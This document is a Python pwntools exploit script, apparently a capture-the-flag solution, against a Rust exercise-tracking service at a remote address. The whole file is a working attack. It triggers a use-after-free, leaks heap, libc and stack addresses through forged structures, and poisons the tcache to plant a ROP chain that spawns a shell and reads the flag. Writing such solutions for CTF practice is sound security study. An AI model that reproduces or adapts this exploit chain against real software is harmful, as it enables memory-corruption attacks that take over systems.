from os import kill
from signal import SIGKILL
from pwn import *
from ast import literal_eval
from pwnlib.gdb import psutil


def add_exercise(io, name, description):
    io.readuntil(b"Choose an option: ")
    io.sendline(b"1")
    io.readuntil(b"What's the name")
    io.sendline(name)
    io.readuntil(b"what is the description")
    io.sendline(description)


def add_workout(io, exercises):
    io.readuntil(b"Choose an option: ")
    io.sendline(b"2")
    io.readuntil(b"How many exercises")
    io.sendline(str(len(exercises)).encode())
    for name,count in exercises:
        io.readuntil(b"Enter the name")
        io.sendline(name)
        io.readuntil(b"How many times")
        io.sendline(str(count).encode())
    io.readuntil(b"Your workout has id ")
    return int(io.readline())


def show_workout(io, wid):
    io.readuntil(b"Choose an option: ")
    io.sendline(b"3")
    io.readuntil(b"what's the id of your workout? \n")
    io.sendline(str(wid).encode())
    exercises = []
    while True:
        line = io.readline()
        if b" - " not in line:
            io.unrecv(line)
            break
        parts = line.decode().strip().split(" - ")
        name, description = map(bytes, map(literal_eval, parts))
        exercises.append((name, description))
    return exercises


def edit_exercise(io, name, description):
    io.readuntil(b"Choose an option: ")
    io.sendline(b"4")
    io.readuntil(b"Enter the name")
    io.sendline(name)
    io.readuntil(b"Enter the new description")
    io.sendline(description)


def bp(io):
    io.readuntil(b"Choose an option: ")
    io.sendline(b"break")
    io.unread(io.readuntil(b"Choose"))


def leave(io):
    io.readuntil(b"Choose an option: ")
    io.sendline(b"5")
    io.close()


def unmask(p):
    for o in range(48, 0, -12):
        p ^= ((p >> o) & 0xfff) << (o - 12)
    return p


def run():
    attach_pid = None
    if args.REMOTE:
        io = remote("162.55.187.21", 1024)
    elif args.DOCKER:
        io = remote("localhost", 1024)
        if args.ATTACH:
            io.unread(io.readuntil(b"Choose"))
            pid = next(p.pid for p in psutil.process_iter() if p.cmdline() == ["/chall"])
            attach_pid = run_in_new_terminal(f"sudo nsenter -t {pid} -a sh -c \"rustup run nightly-2024-09-09 rust-gdb -p \\$(pidof chall) -ex 'directory /source' -ex 'b src/main.rs:126' -ex 'c'\"", kill_at_exit=False)
            input()
    else:
        io = process("./exe")
        if args.ATTACH:
            io.unread(io.readuntil(b"Choose"))
            attach_pid = run_in_new_terminal(f"rustup run nightly-2024-09-09 rust-gdb -ex 'file exe' -ex 'b src/main.rs:126' -ex 'c' -p {io.proc.pid}", kill_at_exit=False)
            sleep(3)

    # structure sizes and layouts:
    #  - vec: 0x18 size (cap | ptr | len)
    #  - rc<excercise>: 0x40 size (strong | weak | name_vec | desc_vec)
    #  - repeat_n: 0x10 size (ptr | count)
    #  - workout: 0x18 size (vec)

    # vec defaults to cap = 4, as such:
    #  -  vec<repeat_n>.inner.ptr: 0x10 * 4 = 0x40
    #  -  vec<workout>.inner.ptr: 0x18 * 4 = 0x60

    print("START")

    # setup UAF for rc<excercise>
    add_exercise(io, b"0", b"A")
    old = add_workout(io, [(b"0", 0)])
    add_exercise(io, b"0", b"B")

    # add workout (vec<repeat_n>), this fills UAF chunk (same size 0x40).
    # later, because of repeat_n layout, we can increment repeat_n pointer by
    # incrementing the old rc<excercise> via UAF.
    new = add_workout(io, [(b"0", 1)])

    # to leak libc we create a new excercise and free it..
    add_exercise(io, b"1" * 0x10, b"C" * 0x40) # 0x40 important later for fake excercise
    add_exercise(io, b"1" * 0x10, b"D")

    # ..then we point the old repeat pointer to the newly freed excercise.
    # the excercise's name and description vec are still valid because
    # insert returns the old value so old exercise is dropped / freed last.
    for i in range(0x50 + 0x50):
        show_workout(io, old)

    # show_workout now gives the fd_ptr field of both free'd name and
    # description chunks of the new exercise, thereby leaking heap aslr.
    name, _ = show_workout(io, new)[0]
    heap_leak = u64(name[:8])
    tcache_key = name[8:16]
    heap_base = (unmask(heap_leak) & ~0xfff) - 0x3000
    print("HEAP", hex(heap_base))

    # now that we know heap_base, we can replace the freed excercise with
    # a fake one and use show_workout to do arbitrary read.

    # first we leak libc..
    fake = p64(1) + p64(1) # strong and weak count
    fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # name vec
    fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # desc vec
    add_exercise(io, b"2", fake)
    libc_leak = u64(show_workout(io, new)[0][0][:8])
    libc_base = (libc_leak & ~0xfff) - 0x204000
    print("LIBC", hex(libc_base))

    # reshuffle tcache
    add_exercise(io, b"2", b"E")
    add_exercise(io, b"2", b"E" * 0x40)
    add_exercise(io, b"2", b"E")

    # ..then we leak stack.
    fake = p64(1) + p64(1) # strong and weak count
    fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # name vec
    fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # desc vec
    add_exercise(io, b"2", fake)
    stack_leak = u64(show_workout(io, new)[0][0][:8])
    print("STACK LEAK", hex(stack_leak))

    # setup another UAF for rc<excercise>. here we craft a fake free chunk
    # to perform tcache poisoning and write our rop gadget onto the stack.
    # after the UAF excercise is fully dropped by replacing it in the btree,
    # the freed exercise chunk is first in the tcache bin (0x50) and the bin
    # has more than 2 entries, allowing us to fake the third entry.
    # (we actually need this to generate exactly 3 tcache entries because
    #  we always need an exercise chunk (0x50) last and if we have > 3 the
    #  last fd ptr will not be valid)
    one_gadget = libc_base + 0xef4ce
    rop_clear_rbx = libc_base + 0x586d4
    rop_clear_r12 = libc_base + 0x110951
    ret_addr = stack_leak - 0xa00
    fd_addr = heap_base + 0x3270
    fd_dest = heap_base + 0x31d0
    fake = b"3" * 0x10 + p64(ret_addr ^ ((fd_dest + 0x10) >> 12)) + tcache_key
    fake += b"3" * (0x40 - len(fake))
    add_exercise(io, fake, b"G")
    final = add_workout(io, [(fake, 0)])
    add_exercise(io, fake, b"G")

    # use increment to change fd pointer to fake chunk.
    fd_curr = fd_dest ^ (fd_addr >> 12)
    fd_next = (fd_dest + 0x10) ^ (fd_addr >> 12)
    print("FD", hex(fd_curr), hex(fd_next))
    if fd_next < fd_curr:
        io.close()
        if attach_pid is not None:
            kill(attach_pid, SIGKILL)
        sleep(1)
        return False
    for i in range(fd_curr, fd_next):
        show_workout(io, final)
    add_exercise(io, b"4", b"H" * 0x40) # consume first two 0x50 chunks
    bp(io)
    rop = p64(0) + p64(rop_clear_r12) + p64(0) + p64(rop_clear_rbx) + p64(0) + p64(one_gadget)
    rop += (0x40 - len(rop)) * b"I"
    assert b"\n" not in rop
    add_exercise(io, b"5", rop)

    io.sendline(b"cat flag.txt")

    io.interactive()

    return True


while not run():
    pass